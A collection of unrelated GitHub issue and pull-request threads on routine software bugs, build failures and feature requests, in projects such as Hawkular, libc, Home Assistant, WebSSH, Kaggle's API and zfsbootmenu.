There wont be a 'hawkular' tenant unless you created a project called 'hawkular' in OpenShift :)

What are the minimum security policies I need to assign to a user for this to work?

You shouldn't have to do anything here. If your user can view pods in your project, then they can view the metrics corresponding to those pods.
The fact that you are getting an error message from Cassandra means that your user has permission, if they didn't have permission it would fail quickly with an access denied error.
There is something wrong with your Hawkular Metrics or Cassandra instances. Can you please attach logs somewhere from these? @jsanda should be able to help more.

@stobias123, This sounds like a bug in Hawkular Metrics. Would you mind opening a ticket at https://issues.jboss.org/projects/HWKMETRICS? In your Cassandra pod, run nodetool setlogginglevel org.apache.cassandra DEBUG and then try adding the data source again. After you get the error, please upload /opt/apache-cassandra/logs/debug.log* to the ticket. This will help me see what is failing.

https://issues.jboss.org/browse/HWKMETRICS-610

I've had issues like this when my Cassandra pods' resource limits were set too low. Too many data points causes timeouts all over. Increasing the limits I can get it to work most of the time.

Closing here as it is related to resource limits and ticket https://issues.jboss.org/browse/HWKMETRICS-610 is opened for server side

Hi all
Do we have news on this issue? The bug is still open but discussion is closed.
I have exactly the same issue using Grafana 4.1.2+Hawkular 0.23.8 in an Openshift env.
Increasing the memory limit did not helped.
Thanks

Hi @arnaudlemaignen ,
When you say you have the exact same error, do you mean Cassandra read timeout ? (message "Caused by: com.datastax.driver.core.exceptions.ReadTimeoutException: Cassandra timeout during read query ..." in hawkular pod logs)
Can you provide hawkular and cassandra pods logs?


Add support for chrome binary option

Continued from https://github.com/keathley/wallaby/pull/309#discussion_r140837822 (PR from different fork).
Requests from previous PR

[x] this is totally nitpicking and not sure if others agree, but I'd implement this using 2 methods and pattern matching on nil in the first clause :)
[x] Can we change the wording of this to just "but if you want to test against a different version..."
[x] Can this function be private?
[x] credo warning (required update to 0.8.10 due to https://github.com/rrrene/credo/issues/469)
[ ] Switch to config :wallaby, Wallaby.Experimental.Chrome convention (going to leave for this PR as it's an existing convention on the project)

@keathley @PragTob not sure what the issue is with the build there, looks spurious, I suspect a rebuild would fix it.

@opsb rebuilds triggered... not sure why that part now likes to misbehave

I'm gunna open an issue about fixing our CI builds. They're almost more trouble then they're worth atm.

The failures on CI look isolated to chrome. This might have included a regression somewhere.

@opsb I've fixed the chrome issues in master. If you wouldn't mind rebasing your branch I'll get this merged.

Since this was really only blocked on the mix.lock conflict I cherry picked the important commit and went ahead and merged: https://github.com/keathley/wallaby/commit/4b444350ecc22ce451ef7a379ac2e4a6b8a071b8.
Thanks so much for working on this :tada:


Android: Add preadv and friends.

From sys/uio.h. Note that preadv64/pwritev64 are already included in
src/unix/linux_like/mod.rs.

Hm, aarh64 test fails on CI.

Sorry, I was away for a bit and now can't see the CI results. How do I get it to re-run?

Sorry, I was away for a bit and now can't see the CI results. How do I get it to re-run?

No worries! I also doesn't have the permission to re-run on Pipelines and usually close/re-open PRs to do it.

This looks like it might be #1765 again.
I do notice that the aarch64 Android build is using aarch64-linux-android21-clang, while the others use x86_64-linux-android28-clang and armv7a-linux-androideabi24-clang (note the different versions). The functions in question were introduced with API level 24, so this could be related. Where do these toolchains come from?

I might be wrong about that, digging some more. It looks like it comes from ci/android-install-ndk.sh calling build/tools/make_standalone_toolchain.py, but it always passes at least API 24, including on aarch64, so that shouldn't be the difference.

Hm, seems Pipelines couldn't find 07dbd45cdf621e964d1e06c42483719cd3565196, it has just three checks on Cirrus CI.

This AArch64 issue is painful and I have no idea how to fix TBH, sorry. The only way we can do here is to skip the test for it. I could r=me if you drop 07dbd45 and skip the test.

Done, PTAL.

:umbrella: The latest upstream changes (presumably #1927) made this pull request unmergeable. Please resolve the merge conflicts.
Note that reviewers usually do not review pull requests until merge conflicts are resolved! Once you resolve the conflicts, you should change the labels applied by bors to indicate that your PR is ready for review. Post this as a comment to change the labels:
@rustbot modify labels: +S-waiting-on-review -S-waiting-on-author

@rustbot modify labels: +S-waiting-on-review -S-waiting-on-author

@bors r+

:pushpin: Commit d04bb8e23e299ea989f94b60cea4591c604576c9 has been approved by JohnTitor

:hourglass: Testing commit d04bb8e23e299ea989f94b60cea4591c604576c9 with merge 0748f2c45d743efd3a9934bdd09e5490f2157540...

:broken_heart: Test failed - checks-actions

@bors retry
warning: spurious network error (2 tries remaining): error inflating zlib stream; class=Zlib (5)
warning: spurious network error (1 tries remaining): error inflating zlib stream; class=Zlib (5)
error: failed to get `cc` as a dependency of package `libc-test v0.1.0 (D:\a\libc\libc\libc-test)`

:hourglass: Testing commit d04bb8e23e299ea989f94b60cea4591c604576c9 with merge 17b70c1f9bbe6d019857e2eebbc7f72cff64e9ae...

:sunny: Test successful - checks-actions, checks-cirrus-freebsd-11, checks-cirrus-freebsd-12, checks-cirrus-freebsd-13
Approved by: JohnTitor
Pushing 17b70c1f9bbe6d019857e2eebbc7f72cff64e9ae to master...


Error while trying to access or install any package from Package Manager

Describe the bug
Accessing Package Manager or trying to install any package from Package Manager returns the following error:
"A problem occured during the install of this Component: Error Menu_bot.dialog: Interface Microsoft.IDialog is not defined *** Could not merge components ***"
Version
Version:  2.0.0-nightly.260069.26b6d19
Electron: 8.2.4
Chrome: 80.0.3987.165
NodeJS: 12.13.0
V8: 8.0.426.27-electron.0
Browser

[X] Electron distribution
[ ] Chrome
[ ] Safari
[ ] Firefox
[ ] Edge

OS

[ ] macOS
[X] Windows
[ ] Ubuntu

To Reproduce
Steps to reproduce the behavior:

Create Bot from Microsoft quickstart documentation (https://docs.microsoft.com/en-us/composer/quickstart-create-bot?tabs=v2x) on Bot Framework Composer
Click on Package Manager
See error
Try to install any package from Package Manager
See error

Expected behavior
Should see package list from Package Manager without any error
Should be able to install any package from Package Manager without any error
Screenshots

Additional context
Edition	Windows 10 Enterprise
Version	20H2
Installed on	7/20/2021
OS build	19042.1110
Experience	Windows Feature Experience Pack 120.2212.3530.0

@tomaskeong Are you able to start the bot fine without adding any package?

@srinaath yes, without adding any package I can start the chatbot, successfully tested on Web Chat and Bot Framework Emulator

@tomaskeong have you made any modifications to your project's .csproj file, or any of the schema files already present?

Closing due to inactivity. @tomaskeong  please re-open if you're still seeing an issue. Thanks.

Hello everyone, any updates on this?
With all prerequisites with latest versions installed, I am getting a similar error:

Could not load component list:Error GetManagerDialog.dialog: Interface Microsoft.IDialog is not defined Error GetProfileDialog.dialog: Interface Microsoft.IDialog is not defined Error ResolveUserDialog.dialog: Interface Microsoft.IDialog is not defined Error must have a merged .schema to merge .uischema files *** Could not merge components ***

I get this error when I create the "Entrprise People" template and navigate to packages.
Also schema merging is not possible:

.\update-schema.ps1
Running schema merge.
Finding component files
Parsing component .schema files
Merging component schemas
Error GetManagerDialog.dialog: Interface Microsoft.IDialog is not defined
Error GetProfileDialog.dialog: Interface Microsoft.IDialog is not defined
Error ResolveUserDialog.dialog: Interface Microsoft.IDialog is not defined
*** Could not merge components ***
Schema merge failed. Restoring previous versions.

As the template works on other peoples systems, I guess it has to do with something that is or is not installed on my system?!? Thank you for any help.


Update AWS SDK dependency

Update dependency on AWS SDK to the package published on crates.io.
This PR also includes a fix for https://github.com/rust-lang/rust/issues/79813, not sure if it deserves a separate PR.
All tests passed on rustc 1.56.1 edition = "2021".

Thanks for the PR! I had been working on a new 3.0.0-alpha.1 which, I think, invalidates this PR, so I'm going to close it. But that doesn't mean I don't appreciate the work you put in!
You can now get 3.0.0-alpha.1 on crates.io or in the 3.0.0-alpha branch.
If you still think this PR is valid, feel free to reopen.

I'm updating my dependencies to 3.0.0-alpha.1. Thanks for you work and effort with this.


Add cffi version requirement <1.13.0a0

cffi 1.13.0 breaks rpy2 3.1.0, see #35

Checklist

[x] Used a fork of the feedstock to propose changes
[x] Bumped the build number (if the version is unchanged)
[x] Reset the build number to 0 (if the version changed)
[x] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[ ] Ensured the license file is being packaged.

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.

@conda-forge-admin, please rerender

Apologies, not understanding the last checklist item about packaging the license file.  Do I need to do anything there since I forked and did PR in standard way?

Thanks @hermidalc! I'll move the previous build to broken.


Check for supported features in media_player services

Breaking Change:
The Media Player component will now guard against calling services that are not supported by the entity.  This means that if you attempt to invoke media_player.turn_on, but the entity does not indicate it can be turned on through supported_features, the service will not be called and will not log any message.  This is a breaking change as in the past it have called the turn_on implementation.  There may be platforms that do not properly set supported_features which may result in service calls not being invoked as in the past they would have been.
Description:
Adds checks to the media_player default implementations of turn_on and turn_off so that it only raises NotImplementedError if the platform supports the feature.  See the related issue for more details and use-cases.
After discussion with @balloob and @robbiet480 it was recommended to move the supported feature guard into the service utility instead (async_register_entity_service as the entry-point).  The updated PR adds this feature (and fixes a hacked-in test in the demo media_player).
Examples of platforms that do not support turn_on and turn_off that error when the service media_player.turn_on: {entity_id: all} is executed: Heos, Roku, and possibly others.
Related issue (if applicable): fixes #22877
Checklist:

[X] The code change is tested and works locally.
[X] Local tests pass with tox. Your PR cannot be merged unless tests pass
[X] There is no commented out code in this PR.

If the code does not interact with devices:

[X] Tests have been added to verify that the new code works.

I am going to mark this as a breaking change, because it might break some integrations that are not setting supported features, and we should call it out.

I am going to mark this as a breaking change, because it might break some integrations that are not setting supported features, and we should call it out.

Sounds good - I added the breaking change description.  Of the ~50 media player platforms, I looked at the first 10 alphabetical and didn't see any discrepancies.


basic snips intent (HassTurnOn/HassTurnOff) no longer is correctly processed

Home Assistant release with the issue: 0.71.0

Last working Home Assistant release (if known): 0.68 - I upgraded from .68 to .71
Operating environment (Hass.io/Docker/Windows/etc.): Hass.io running on Raspberry Pi

Component/platform: snips

Description of problem: I setup a snips intent (HassTurnOn and HassTurnOff) so I could use snips to turn things on or off. It was working fine, but now returns an error when an intent gets passed in.
Problem-relevant configuration.yaml entries and (fill out even if it seems unimportant):
snips:
  probability_threshold: .6

NOTE: I did add probability_threshold after upgrading as I was trying to reduce the number of bad intents that were being handled.
Traceback (if applicable):
2018-06-10 20:41:54 INFO (MainThread) [homeassistant.helpers.intent] Triggering intent handler <ServiceIntentHandler - HassTurnOff>
2018-06-10 20:41:54 WARNING (MainThread) [homeassistant.helpers.intent] Received invalid slot info for HassTurnOff: extra keys not allowed @ data['site_id']
2018-06-10 20:41:54 ERROR (MainThread) [homeassistant.components.snips] Error while handling intent: HassTurnOff.
Traceback (most recent call last):
  File "/usr/lib/python3.6/site-packages/homeassistant/helpers/intent.py", line 59, in async_handle
    result = await handler.async_handle(intent)
  File "/usr/lib/python3.6/site-packages/homeassistant/helpers/intent.py", line 187, in async_handle
    slots = self.async_validate_slots(intent_obj.slots)
  File "/usr/lib/python3.6/site-packages/homeassistant/helpers/intent.py", line 142, in async_validate_slots
    return self._slot_schema(slots)
  File "/usr/lib/python3.6/site-packages/voluptuous/schema_builder.py", line 267, in __call__
    return self._compiled([], data)
  File "/usr/lib/python3.6/site-packages/voluptuous/schema_builder.py", line 587, in validate_dict
    return base_validate(path, iteritems(data), out)
  File "/usr/lib/python3.6/site-packages/voluptuous/schema_builder.py", line 425, in validate_mapping
    raise er.MultipleInvalid(errors)
voluptuous.error.MultipleInvalid: extra keys not allowed @ data['site_id']
The above exception was the direct cause of the following exception:
Traceback (most recent call last):
  File "/usr/lib/python3.6/site-packages/homeassistant/components/snips.py", line 139, in message_received
    hass, DOMAIN, intent_type, slots, request['input'])
  File "/usr/lib/python3.6/site-packages/homeassistant/helpers/intent.py", line 65, in async_handle
    'Received invalid slot info for {}'.format(intent_type)) from err
homeassistant.helpers.intent.InvalidSlotInfo: Received invalid slot info for HassTurnOff

Additional information:
I have snips running on a different device than home assistant. I bridge the MQTT from that device to home assistant and only share specific topics. I did not change this configuration between upgrades as it was working.

same here. I reverted the following snips.py and its working again
https://github.com/home-assistant/home-assistant/commit/27edbe5c0f6066766e61b9707b9571fe6e4a873a#diff-78c3047c0f5f4bba332a4cdc6f50b1e8

I reverted to this version: https://github.com/home-assistant/home-assistant/commit/e593117ab6f224c8ecad9c1475610b80f1ecfc64#diff-78c3047c0f5f4bba332a4cdc6f50b1e8
It looks like the changes made in #14315 caused the issues with site_id


Capture Javascript errors (javascript console)

it is possible capture any text from javascript console?
I need to have some way to get Javascript errors.

+1

:+1:  would love to have this

+1

+1

There's a couple of different ways to accomplish this.  Check out this stack overflow thread:
http://stackoverflow.com/questions/4189312/capturing-javascript-error-in-selenium

Closing this, since it's a selenium issue, not splinter. I don't think we can provide a simpler way than what's already available.
https://www.selenium.dev/selenium/docs/api/py/webdriver_remote/selenium.webdriver.remote.webdriver.html#selenium.webdriver.remote.webdriver.WebDriver.get_log
The above method is currently the correct way to get logs using selenium, but this may change with their BiDi API.


Selects pylint version 1.9.1 to fix Travis.

Travis has started failing for some PRs. (e.g. #653 )
Fixing the pylint version in Travis to 1.9.1 resolves this problem, so this PR applies this change.
Testing:

[x] Ran tests and they passed OK

@benfitzpatrick  Are you happy with this change? We had a problem with the pylint version causing travis to fail, and this seems to fix it.


Header View Height Problem

HeaderView
space
space
space
space
space
ListView
That I knowing clear spaces.Please help me

I am also facing same problem. Any solution on this? @ahmtbrk


Intermittent frame rendering failure

This code sometimes draws a triangle, and usually does not.
(Possibly some opengl thing does not get initialized in time? I am both a rust and opengl newbie, so I am not sure how to triage this problem further, but the behaviour seems strange enough that I am guessing it is a library bug?)

What do you mean by "sometimes draws a triangle, and usually does not"?
Does it only show black? Is the triangle blinking?
The code you're showing is the triangle example, so the code itself won't help.
Also, what's your O/S and what's the vendor of your drivers (Intel, nVidia, ATI)?

Usually, it shows only black when I start the program. Sometimes, however, it manages to render the demo triangle. Then I close and restart the program and get a different result. There is no apparent pattern clearly to when the triangle is drawn.

OS: Fedora 21
CPU: Intel(R) Core(TM) i7-3770 CPU @ 3.40GHz
GPU: VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI] Turks PRO [Radeon HD 7570]

Unfortunately, it is hard to identify if the computer in question uses the proprietary or open source version of the drivers from home but I can update later if needed.

Oh, I see.
The problem is that the O/S sometimes sends a message telling the application that it needs to be redrawn. This is not handled by glutin or glium yet.
To fix this, you can simply add a loop { } around the "draw" and "wait" parts.

In other words, your example only draws once and this is not something that you usually do. Usually you draw continuously, so when the O/S clears the content of the window it's immediatly drawn upon again.

OK, I see, that makes sense. The workaround will mean a couple dropped frames here and there, but it should work for the time being. Other then that, I was really enjoying this library; it feels much more ergonomic to use then the raw opengl calls.

Thanks! :)


Title: adding nav bar.

Is your feature request related to a problem? Please describe.
no nav bar.
Describe the solution you'd like.
adding nav bar.
Describe alternatives you've considered.
adding nav bar.
Add any other context or screenshots about the feature request here.
No response

please assign this to me

I will add the add the responsive navbar .Can you plz assign this issue to me

@dnyandeepchute Thank you for providing your insight but it is not required as of now


Windows build failed

error[E0412]: cannot find type `clockid_t` in module `libc`
  --> C:\Users\xxxku\.cargo\registry\src\github.com-1ecc6299db9ec823\timekeeper-0.3.0\src\source.rs:26:31
   |
26 | fn clock_gettime(clock: libc::clockid_t) -> Result<libc::timespec, ()> {
   |                               ^^^^^^^^^ help: a type alias with a similar name exists: `clock_t`

error[E0425]: cannot find function `clock_gettime` in module `libc`
  --> C:\Users\xxxku\.cargo\registry\src\github.com-1ecc6299db9ec823\timekeeper-0.3.0\src\source.rs:33:15
   |
33 |         libc::clock_gettime(clock, &mut tp)
   |               ^^^^^^^^^^^^^ not found in `libc`
help: possible candidate is found in another module, you can import it into scope
   |
2  | use source::clock_gettime;
   |

error[E0425]: cannot find value `CLOCK_PROCESS_CPUTIME_ID` in module `libc`
  --> C:\Users\xxxku\.cargo\registry\src\github.com-1ecc6299db9ec823\timekeeper-0.3.0\src\source.rs:47:40
   |
47 |         let time = clock_gettime(libc::CLOCK_PROCESS_CPUTIME_ID).unwrap();
   |                                        ^^^^^^^^^^^^^^^^^^^^^^^^ not found in `libc`

error[E0425]: cannot find value `CLOCK_THREAD_CPUTIME_ID` in module `libc`
  --> C:\Users\xxxku\.cargo\registry\src\github.com-1ecc6299db9ec823\timekeeper-0.3.0\src\source.rs:56:40
   |
56 |         let time = clock_gettime(libc::CLOCK_THREAD_CPUTIME_ID).unwrap();
   |                                        ^^^^^^^^^^^^^^^^^^^^^^^ not found in `libc`

error: aborting due to 4 previous errors

Some errors occurred: E0412, E0425.
For more information about an error, try `rustc --explain E0412`.
error: Could not compile `timekeeper`.
warning: build failed, waiting for other jobs to finish...
error: build failed

I encountered the same problem.

Same,. did you find a fix?

Windows support is not a priority for us, unfortunately.
It looks like the problem here is the timekeeper dependency, which we only use for profiling. If you wanted to make a Windows build work, you could probably make including this dependency and any code related to it conditional on the platform with Rust's builtin support for conditional compilation (cfg!(windows) etc.).

This is unfortunate. Could we put the timekeeper dependency / profiling behind a feature-flag? I get that windows support is not a priority, but it's almost tragic that the build breaks because of an unmaintained dependency..

I think in theory all that should be needed is for @fintelia to land https://github.com/fintelia/timekeeper/pull/3. ping?

Excellent, that just landed. Thanks @fintelia. Once a release is published I'll bump dependencies and see if CI then passes on Windows!

Just published timekeeper v0.3.1. Sorry for the delay on this, it somehow slipped off my radar

Aww, looks like we now fail because Windows doesn't have reasonable asynchronous timers :'(
https://dev.azure.com/mit-pdos/mit-pdos/_build/results?buildId=3&view=logs&s=859b8d9a-8fd6-5a5c-6f5e-f84f1990894e&j=fb8c8813-bce5-562f-fee6-ee0e905e89a4
See https://github.com/jonhoo/tokio-os-timer/issues/9
That's not going to change any time soon sadly.

Even just the server fails to build due to the jemalloc-sys dependency.
BuildError.txt


Asynchronous behaviour of query methods

Issue Summary
Same as #1408 but for the queries functions. Callbacks seems to be called asynchronously but the method itself returns before the callback.
const sqlite = require("sqlite3").verbose();

class DB {
  constructor(path) {
    this.db = new sqlite.Database(path);
    this.result = null;
  }

  async query(sql) {
    this.db.all(sql, (err, rows) => {
      this.result = rows;
      console.log("a", this.result); // called after
    });
    console.log("b", this.result); // called first
  }
};

new DB("mydb.db").query("select * from mytable");

b null
a [
  {
    // actual result
  }
]

I don't know if this is a bug, but it is not very handy to retrieve the result of a query.
Steps to Reproduce

Run the script above

Version
3.38.4
Node.js Version
16.15.0
How did you install the library?
npm i --save "sqlite3"

Hey @OxNinja 👋🏻 This behavious seems expected to me? And of any asynchronous library. If you need to wait for the result before continuing, you need to use Promises 🙂


Ability to use resolve server names when using DPF?

Describe the bug
Thank you for putting together WebSSH. I am still feeling my way around it, but it does give me some capabilities i have been missing on my iPad for a while. I am a longtime SSH tunneling fan and until Apple screwed around with SSH background operations, I never had need of a VPN when SSH tunnels were available. Especially when using dynamic port forwarding as a SOCKS proxy
With WebSSH, i am not sure about how i should be using DPF - i thin i have got to be missing something. When I setup the tunnel, i used * in the port forward section, and was able to create terminal sessions after that, but only if i connected to the server by address, not by name. Is there a way to have the tunnel resolve the names of the servers I want to ssh to ? (What am I doing wrong? :) )
Also, if i want to interact with web servers, it looks like i have to set up a specific local tunnel as opposed to consuming a SOCKS proxy - is that right? How can I set up multiple targets to be available at the same time?
By @psmode

Hello @psmode 👋
Thank you so much for your support about WebSSH 🙏
You have configured DPF with success I think by using the * wildcard.
If you can't have a successful connection by using names of the servers then it should be a WebSSH bug.
I'm opening an issue to check and fix this trouble.
Multiple targets at same time will be available "soon" :
https://github.com/isontheline/pro.webssh.net/issues/284
https://github.com/isontheline/pro.webssh.net/issues/319
https://github.com/isontheline/pro.webssh.net/issues/220
Have a nice day Peter ☀

Hello @psmode 👋
Are you experiencing any issue again?
I would like to troubleshoot it with your help.

As a simple SSH client, the program works great. The support for private keys works well and I do like the clarity of the text and color choices.
However, I still struggle with DPF. I am able to bring up a subsequent SSH session if i specify the target there by IP address, but will not work if i specify the target by its fully qualified domain name. This is something that PuTTy is able to do. Also, within WebSSH, while i can start multiple SSH sessions over the DPF tunnel, only the last one works. Once I start up a new SSH, the previous one hangs.
Peter Smode
@.***
m:<PHONE_NUMBER>

On Sep 29, 2022, at 2:45 PM, Arnaud Mengus @.***> wrote:

Hello @psmode 👋
Are you experiencing any issue again?
I would like to troubleshoot it with your help.
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you were mentioned.
[ { @.": "http://schema.org", @.": "EmailMessage", "potentialAction": { @.": "ViewAction", "target": "https://github.com/isontheline/pro.webssh.net/issues/514#issuecomment-1262677559", "url": "https://github.com/isontheline/pro.webssh.net/issues/514#issuecomment-1262677559", "name": "View Issue" }, "description": "View this Issue on GitHub", "publisher": { @.": "Organization", "name": "GitHub", "url": "https://github.com" } } ]

As a simple SSH client, the program works great. The support for private keys works well and I do like the clarity of the text and color choices.

Thank you for your feedback and support

However, I still struggle with DPF. I am able to bring up a subsequent SSH session if i specify the target there by IP address, but will not work if i specify the target by its fully qualified domain name. This is something that PuTTy is able to do.

When you say it doesn't work you are talking about the fact that WebSSH doesn't resolves the hostname through the DPF? Could you confirm that you want the hostname to be resolved in the other side of the DPF?

Also, within WebSSH, while i can start multiple SSH sessions over the DPF tunnel, only the last one works. Once I start up a new SSH, the previous one hangs.

I don't understand that. I've just launched a DPF on my side and I'm able to launch multiple SSH connections other it without any issue. Could you share your settings?


Create product-requirements-document-Gerald-Hendrix.md

Hi team,
This is the PRD that I submitted for the individual assignment.
Once we have all our PRD's together, we can work on developing our first draft edition with the help of our project partners.
Let me know if you have any concerns or feedback, I look forward to reading everyone's documents.
Thanks,
Gerald

Hi team,
Still working on the .md file. My .docx file didn't format as well as I would have liked in the rendered markdown file. I will have to work on this or come up with something different. Work in progress.
Thanks,
Gerald


f_scores with sparse labels

The solution of #2653.

@ssaishruthi @marload
You are owners of some files modified in this pull request.
Would you kindly review the changes whenever you have the time to?
Thank you very much.

F-score is going to be implemented in https://github.com/keras-team/keras-cv/issues/393.
Please add any additional feature there.


Python-API based download and functionality.

Kaggle API provides a neat CLI to interact with the API. But, with my experience from working with Jupyter notebooks, and ML projects, I feel, If there was a way to instead use the Python API to download datasets easily, would have been of much help!
To explain, Let's say I want to download a Kaggle dataset. A function could be in the Python API which simplifies the downloading as follows,
kaggle.download("<the-kaggle-dataset-url>")
And this downloads the Dataset / Competition files, Auto unzips them and Prepares them for you. This could reduce work by a lot.
Now, For the Kaggle API authentication, We could have 3 steps for checking,

Check if ~/kaggle.json exists, If yes, Read the credentials.
Check if the credentials are set in environmental variables, if yes, Load them.
Finally, if none of them exists, Get the username with basic input, and Password with getpass.getpass()

The Python API could make it even more friendlier, approachable and better, As it reduces work with downloading and also performing other functions. I would like to work on this functionality initially, and extend it to further things (Converting commands into their Python API equivalent).
This would benefit a lot of people, and reduce their dependence on 3rd party packages which do this instead, and stick to this lightweight python package which does the work easy for them.

I believe that functionality should be there implemented already.

I have gone through the API, and I checked that It's a low-level API. It's not such that the User can directly get his/her hands on and use it. I want to help with API that works directly through code instead of invoking CLI. It can make the experience better.

Then, we can submit a PR with the same!

That works! Let's do it 😁

This is the farthest I go:
import json
import os
import kaggle

with open('/content/drive/MyDrive/kaggle/kaggle.json') as f:
    kaggle_auth = json.load(f)
    print(kaggle_auth)

os.environ['KAGGLE_USERNAME'] = kaggle_auth['username']  #manually input My_Kaggle User_Name
os.environ['KAGGLE_KEY'] = kaggle_auth['key']  #manually input My_Kaggle Key

kaggle.api.authenticate()
kaggle.api.competitions_data_download_files(...)

Sadly, it crash jupyter and i also don't know how to specify download location in competitions_data_download_files

This is the problem I want to solve. Make them a one-liner. kaggle.download or the respective function for each of the feature. Dataset, Competition, Files and such.

Will waiting your PR. :)

I will explore the API and send something hopefully!
If you are reading the secrets, then you shouldn't be setting it manually. You can do something like either get it from the JSON or from ENV or you need to raise an error as well because you cannot proceed.

For loading .env variables, I would either use dotenv, or decouple, probably? I wanted to take the Kaggle KEY as direct input using getpass when running any command to download/work with API.

I have tried this code:
import kaggle
kaggle.download("the-kaggle-train.csv-https://www.kaggle.com/c/g-research-crypto-forecasting/data")
After running the code I get an error. There are also files downloaded with are not openable!
Any advise?

This feature isn't implemented yet. To implement I have to ISOLATE and Namespace the codebase, clean up CLI and make a submodule kaggle.py to have these features, would be the cleanest way. You've got to wait until it's implemented because this is just a ideation currently, and has not been implemented/worked on yet.

@janaSunrise could you share your implementation? You can make a derivative repo that supercharged using kaggle API or make a PR here so that others like me can use your implementation.

I'm going to have to work on it, and would need sometime. Currently, I'm bit packed with everything and exams, so probably would start in a while as I get free.


[Paladin] Update paladin.html - Updating all broken links to logos

After initial successful commit, I'm changing all the links to logos that are broken across the sheet, and their placeholder texts, in order to clean the sheet up

Submission Checklist
Required

[x] The pull request title clearly contains the name of the sheet I am editing.
[x] The pull request title clearly states the type of change I am submitting (New Sheet/New Feature/Bugfix/etc.).
[ ] The pull request makes changes to files in only one sub-folder.
[ ] The pull request does not contain changes to any json files in the translations folder (translation.json is permitted)

New Sheet Details

The name of this game is: <   >  (i.e. Dungeons & Dragons 5th Edition, The Dresden Files RPG)

The publisher of this game is: <   > (i.e. Wizards of the Coast, Evil Hat)

The name of this game system/family is: <   > (i.e. Dungeons & Dragons, FATE)

[ ] I have followed the Character Sheets Standards when building this sheet.

[ ] This sheet has been made on behalf of, or by, the game's publisher.
[ ] This game is not a traditionally published game, but a copy of the game rules can be purchased/downloaded/found at: <   >
[ ] This sheet is for an unofficial fan game, modification to an existing game, or a homebrew system.

Changes / Description

Character Sheet Info Roll20 Internal Use only.


Support Ctrl and Ctrl-Alt in addition to Alt as keybind modifiers

For some reason, neither fzf nor skim respect a French keymap for Alt-modified key bindings; the returned key combination seems to revert to a QWERTY map. Tests indicate that Ctrl-modified bindings work as expected. While we're at it, let's recognize Ctrl-Alt as a binding modifier too.
Closes #124.
@eoli3n If you have an opportunity, I would appreciate you testing this in your configuration to see if the Ctrl keybindings behave as we expect. You will need to
mv /usr/lib/dracut/modules.d/90zfsbootmenu{,.bak}
ln -s /path/to/your/clone/of/this/branch/90zfsbootmenu /usr/lib/dracut/modules.d/90zfsbootmenu
generate-zbm

to replace the version you have installed now.

That's strange, because if I use fzf on my booted Void, fzf works right with fr keymap.

That's strange, because if I use fzf on my booted Void, fzf works right with fr keymap.

I tested this last night. Executing loadkeys fr on tty1, then running ls | fzf --expect=alt-w shows that it does not work as expected. ls | fzf --expect=ctrl-w does respect the French keymap. In any case, neither of us is willing to debug this issue any further.

I tried the branch with ctrl+w, it worked.
For fzf, I confirm you that in tty2, ls | fzf --expect alt-w is only triggered by alt-z.
But on sway env, ls | fzf --expect alt-w works right with alt-w.

Opened an issue: https://github.com/junegunn/fzf/issues/2296

This looks excellent! :shipit:


Move Quill and Firebase JS initialisation to its own file

Currently the quill and firebase initialisation and configurations are located within a script in the HTML.
It would be better to have all of the JS grouped together, better still, we could start to modularise the JS using JS modules and have this config and initialisation moved into its own file.

I'd like to tackle this! First time modularizing.

Go for it @MSoup!

Done and PR posted. One thing that had me a little bit uncertain was that I split firebase and quill into their own respective modules, but they're both small pieces of code, so maybe it would have been cleaner to just have an init file that encompasses both. On the other hand, it might be much faster to debug once our codebase gets big when it's separated like this.

I missed this comment! I guess if the config and initialisation becomes more complex we can move them back out into separate files. Nice job!
Closed by #56


Adjusted UI for FlatLaf

nice work, Zhihang.
To indent and better align components beneath toggle buttons, you might want to use the GuiUtil.getTextOffset() method.

@clausnagel thanks very much for the hints and tests :-). Fixed in commits 08c2a8c and e1f8c92


[ENH] Mute annoying fizzle and click sounds

Hi, you could implement a setting to turn off annoying sounds related to GSE, here are the sound ID to mute. ( only checked wow classic cata )
567407  GAMESPELLACTIVATE
569772    fizzle
569773    fizzle
569774    fizzle
569775    fizzle
569776    fizzle

There are other addons specifically that do this and you can also turn off the sounds in WoW’s options.  This isn’t really a GSE thing.
In the wow settings - System // Sound // Left box of settings towards bottom Error Speech (uncheck this one)

Search for MuteSoundFile or "Mute Annoying WoW Sounds”

I will auto Join myself here.
MSF ( Mute Sound File ) is the name of the addon i use for muting specific sounds.
https://legacy.curseforge.com/wow/addons/mutesoundfile/files/all
Cheers .


Possible hardcoded secret key (secret)

Codacy detected an issue:
Message: Possible hardcoded secret key (secret)
Currently on:

Commit:  86ee55d4efa91ffcbaf4a53c0af9267c0aad2175
File:    doc/integrations/parlAI/application.py
LineNum: 44

Mukul Malhotra commented in Jira Server:

Issue already fixed in code

Mukul Malhotra commented in Jira Server:

issue fixed

Mukul Malhotra commented in Jira Server:

.


Default Realm Configuration Ignored on macOS

If I put this code in a Mac app:
let config = Realm.Configuration(deleteRealmIfMigrationNeeded: true, objectTypes:[Goal.self])
Realm.Configuration.defaultConfiguration = config

print(Realm.Configuration.defaultConfiguration.objectTypes)

This correctly prints:
Optional([Pilot_Pro.Goal])

Then immediately following, I put this:
let realm = try! Realm()
print(realm.configuration.objectTypes)

This shows the objectTypes property has been ignored and the Realm configuration has all the classes in my app:
Optional([Pilot_Pro.Info, Pilot_Pro.Version, Pilot_Pro.Goal, Pilot_Pro.Airport])

My assumption is that the realm instance should inherit the default configuration.
I tested this identical code in iOS and it works fine. Only in a Mac app is it broken.
Realm v3.0.0-beta.4, Xcode 9, Swift 4.0, macOS 10.13

Turns out I had an unrelated issue. Closing.


Change release date

Description
Please add an informative description that covers that changes made by the pull request and link all relevant issues.
If an SDK is being regenerated based on a new swagger spec, a link to the pull request containing these swagger spec changes has been included above.
All SDK Contribution checklist:

[ ] The pull request does not introduce [breaking changes]
[ ] CHANGELOG is updated for new features, bug fixes or other significant changes.
[ ] I have read the contribution guidelines.

General Guidelines and Best Practices

[ ] Title of the pull request is clear and informative.
[ ] There are a small number of commits, each of which have an informative message. This means that previously merged commits do not appear in the history of the PR. For more information on cleaning up the commits in your PR, see this page.

Testing Guidelines

[ ] Pull request includes test coverage for the included changes.

API change check for com.azure:azure-communication-networktraversal
API changes are not detected in this pull request for com.azure:azure-communication-networktraversal


Add IntoAsyncRead::into_inner() method and test

